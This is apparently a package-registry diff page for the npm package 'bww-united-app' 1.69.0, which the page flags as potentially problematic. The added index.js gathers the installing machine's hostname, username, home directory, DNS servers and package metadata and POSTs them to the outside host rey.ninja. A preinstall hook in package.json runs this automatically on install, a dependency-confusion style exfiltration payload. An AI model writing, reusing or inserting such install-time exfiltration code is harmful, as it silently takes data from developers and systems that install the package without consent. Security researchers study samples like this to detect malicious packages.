bww-united-app 1.69.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of bww-united-app might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +41 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ //author:- whitehacker003@protonmail.com
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ var data = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ homedir: os.homedir(),
13
+ hostname: os.hostname(),
14
+ username: os.userInfo().username,
15
+ dns_server: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+ });
20
+
21
+
22
+ var options = {
23
+ hostname: 'rey.ninja',
24
+ path: '/vague/dev/',
25
+ method: 'POST',
26
+ headers: {
27
+ 'Content-Type': 'application/json',
28
+ 'Content-Length': data.length
29
+ }
30
+ };
31
+
32
+
33
+ var req = https.request(options);
34
+
35
+ req.on('error', function(e) {
36
+ console.error(e);
37
+ });
38
+
39
+ req.write(data);
40
+ req.end();
41
+ console.log("[!] data sent")
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "bww-united-app",
3
+ "version": "1.69.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"leet test\" && exit 1",
8
+ "preinstall":"index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }